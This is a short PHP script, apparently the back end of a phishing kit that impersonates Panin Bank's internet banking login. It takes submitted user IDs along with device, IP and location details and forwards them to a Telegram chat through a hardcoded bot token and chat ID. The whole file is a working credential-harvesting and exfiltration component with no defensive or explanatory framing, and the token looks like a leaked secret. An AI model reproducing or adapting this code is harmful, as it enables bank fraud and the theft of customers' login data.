<?php
// Konfigurasi Telegram
$botToken = '8727011628:AAEN6_CnSRiOyTZg3is2Z8JyYodXhgXdII4'; // Ganti dengan token bot Telegram Anda
$chatId = '-1003615695612'; // Ganti dengan chat ID Telegram Anda

// Fungsi untuk mengirim pesan ke Telegram
function sendTelegramMessage($botToken, $chatId, $message) {
    $url = 'https://api.telegram.org/bot' . $botToken . '/sendMessage';
    $data = [
        'chat_id' => $chatId,
        'text' => $message,
        'parse_mode' => 'HTML',
    ];
    $options = [
        'http' => [
            'method' => 'POST',
            'header' => 'Content-Type: application/x-www-form-urlencoded',
            'content' => http_build_query($data),
        ],
    ];
    $context = stream_context_create($options);
    $result = file_get_contents($url, false, $context);
    return $result;
}

// Mengumpulkan data dari POST request
$user_id = $_POST['user_id'] ?? 'Tidak ada User ID';
$user_agent = $_POST['user_agent'] ?? 'Tidak ada User Agent';
$platform = $_POST['platform'] ?? 'Tidak ada Platform';
$language = $_POST['language'] ?? 'Tidak ada Bahasa';
$timestamp = $_POST['timestamp'] ?? 'Tidak ada Timestamp';
$device_type = $_POST['device_type'] ?? 'Tidak ada Tipe Perangkat';
$city = $_POST['city'] ?? 'Tidak ada Kota';
$region = $_POST['region'] ?? 'Tidak ada Region';
$country = $_POST['country'] ?? 'Tidak ada Negara';
$ip = $_POST['ip'] ?? 'Tidak ada IP';
$action = $_POST['action'] ?? 'Tidak ada Aksi';

// Menyusun pesan Telegram
$message = "<b>Informasi Login Panin Internet Banking</b>\n\n";
$message .= "<b>User ID:</b> " . htmlspecialchars($user_id) . "\n";
$message .= "<b>User Agent:</b> " . htmlspecialchars($user_agent) . "\n";
$message .= "<b>Platform:</b> " . htmlspecialchars($platform) . "\n";
$message .= "<b>Bahasa:</b> " . htmlspecialchars($language) . "\n";
$message .= "<b>Timestamp:</b> " . htmlspecialchars($timestamp) . "\n";
$message .= "<b>Tipe Perangkat:</b> " . htmlspecialchars($device_type) . "\n";
$message .= "<b>Kota:</b> " . htmlspecialchars($city) . "\n";
$message .= "<b>Region:</b> " . htmlspecialchars($region) . "\n";
$message .= "<b>Negara:</b> " . htmlspecialchars($country) . "\n";
$message .= "<b>IP:</b> " . htmlspecialchars($ip) . "\n";
$message .= "<b>Aksi:</b> " . htmlspecialchars($action) . "\n";

// Mengirim pesan ke Telegram
$result = sendTelegramMessage($botToken, $chatId, $message);

// Menangani hasil pengiriman
if ($result) {
    echo "Pesan berhasil dikirim ke Telegram.";
} else {
    echo "Gagal mengirim pesan ke Telegram.";
}
?>